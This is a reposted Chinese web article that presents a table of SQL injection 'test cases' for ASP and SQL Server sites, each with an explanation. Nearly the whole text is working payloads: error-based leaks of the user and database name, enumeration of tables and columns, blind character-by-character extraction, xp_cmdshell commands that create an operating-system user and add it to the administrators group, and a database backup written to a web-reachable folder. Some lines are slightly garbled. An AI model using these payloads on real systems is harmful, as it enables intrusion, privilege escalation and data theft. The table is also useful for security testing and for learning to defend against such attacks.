ASP+SQL Server SQL 注入攻击测试用例
作者:网络转载 发布时间:[ 2013/12/6 13:50:19 ] 推荐标签:
SQL注入攻击测试用例 |
说明 |
Night--
Night’ and 1=1-- |
判断是否存在注入漏洞。SQL Server中的行注释符号为”--” |
URL;and user>0-- |
User 是SQL Server的一个内置变量,它的值是当前连接的用户名,数据类型为nvarchar。它的值是当前连接的用户名,数据类型为nvarchar。用nvarchar类型与int类型比较会引起错误,而SQL Server在返回的错误信息中往往会暴露出user的值;将nvarchar值“XXX”转换数据类型为int的列时发生语法错误。 |
URL;and db_name()>0-- |
获取数据库名称 |
URL;and (select count(*) from sysobjects)>0—
|
msysobjects是Access 数据库的系统表,sysobjects是SQL Server的系统表。通过这两次攻击尝试,可以从服务器的反馈中辨别出服务器使用的数据库类型. |
URL;and (select count(*) from msysobjects)>0-- |
|
Night’ and (select count(*) from sysobjects where Xtype=’u’ and status>0)=表的数目-- |
测试数据库中有多少用户自己建立的表,sysobjects中存放着数据库内所有表的表名,列名等信息。xtype=’U’ and status>0 表示只检索用户建立的表名 |
Night’ and (select top 1 name from sysobjects where Xtype=’U’ and status>0 )>0-- |
获得第一个表的名字 |
Night’ and (select top 1 name from sysobjects where Xtype=’U’ and status>0 and name!=’第一个表名’)>0-- |
通过类似的方式可以获得其他表名 |
Night’ and (Select Top lcol_name(object_id(‘表名’),1) from sysobjects)>0-- |
通过sysobjects获得列名 |
Night’ and (select top 1 len(列名) from 表名)>0-- |
获得列名长度 |
Night’ and (select top 1 asc(mid(列名,1,1)) from 表名)>0-- |
逐字读出列名的每一个字符,通常用户没有报错返回的盲注 |
URL;exec master..xp_cmdshell “net user 用户名和密码” /add |
利用存储过程xp_cmdshell在服务器主机上添加用户 |
URL;exec master..xp_cmdshell “net localgroup administrators 用户名 /add”-- |
将添加的用户加入管理员组 |
URL;backup database 数据库名 to disk=’路径’;-- |
利用存储过程将数据库备份到可以通过HTTP访问到得目录下,或者也可通过网络进行远程备份 |
相关推荐
更新发布
功能测试和接口测试的区别
2023/3/23 14:23:39如何写好测试用例文档
2023/3/22 16:17:39常用的选择回归测试的方式有哪些?
2022/6/14 16:14:27测试流程中需要重点把关几个过程?
2021/10/18 15:37:44性能测试的七种方法
2021/9/17 15:19:29全链路压测优化思路
2021/9/14 15:42:25性能测试流程浅谈
2021/5/28 17:25:47常见的APP性能测试指标
2021/5/8 17:01:11